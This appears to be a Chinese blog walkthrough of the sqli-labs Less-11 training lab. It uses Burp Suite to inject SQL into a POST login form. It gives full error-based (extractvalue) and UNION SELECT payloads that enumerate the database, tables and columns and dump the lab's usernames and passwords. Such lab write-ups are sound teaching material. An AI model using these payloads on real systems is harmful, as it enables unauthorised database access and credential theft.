Less(11)

1.我们用burpsuit,抓包修改参数

  (1)输入admin admin登录,抓包,发送到repeater模块

2.使用extractvalue 测试 payload

  (1)输入:uname=admin' and 1=1 --+ &passwd=admin&submit=Submit

    

     可以登录

  (2)输入:uname=admin' and 1=2 --+ &passwd=admin&submit=Submit

    

     发现无法登录

    说明注入有效,存在报错型注入,接下来又是重复性的工作,上extractvalue()

  (3)爆库:uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+ &passwd=admin&submit=Submit

    

   (4)爆表:uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ &passwd=admin&submit=Submit

     

   只能查询到前几个表,后面加上 not in() 就可以查到其他的表了,如:uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in('emails')))) --+ &passwd=admin&submit=Submit

    

   (5)这里没有发现更多的表了,而users表应该是存放用户信息的,所以我们进行下一步,爆列名:uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+ &passwd=admin&submit=Submit

    

    因为没有咱们需要的password,username,把一些不需要的列名消除掉:uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+ &passwd=admin&submit=Submit

    

     我们发现后面确实有咱们需要的password,username

  (6)爆值:uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+ &passwd=admin&submit=Submit

    

     通过 not in(),我们可以找到所有的用户名和密码

    

    Dumb:Dumb    Angelinal:I-kill-you   Dummy:p@ssword   secure:crappy   stupid:stupidiry   superman:genious   batman:mob!le   admin:admin   admin1:admin1   admin2:admin2   admin3:admin3   dhakkan:dumbo   admin4:admin4

3.联合查询union select 测试payload

  (1)uname=0' union select 1,2 --+ &passwd=admin&submit=Submit 

    注意 uname是错误的,才能显示联合查询内容

    

    可以注入;

  (2)爆库:uname=0' union select 1,database() --+ &passwd=admin&submit=Submit

    

  (3)爆表:uname=0' union select 1,group_concat(table_name)from information_schema.tables where table_schema="security" --+ &passwd=admin&submit=Submit

     

   (4)users表应该是存放用户信息的,所以我们进行下一步,爆列名:uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" --+ &passwd=admin&submit=Submit

    

     确实有username和password;

  (5)爆值:uname=0' union select 1,group_concat(username,0x3a,password) from users --+ &passwd=admin&submit=Submit

    

     这样我们也可以看到所有的登录用户和密码:

    Dumb:Dumb    Angelinal:I-kill-you   Dummy:p@ssword   secure:crappy   stupid:stupidiry   superman:genious   batman:mob!le   admin:admin   admin1:admin1   admin2:admin2   admin3:admin3   dhakkan:dumbo   admin4:admin4

      

原文地址:https://www.cnblogs.com/meng-yu37/p/12284496.html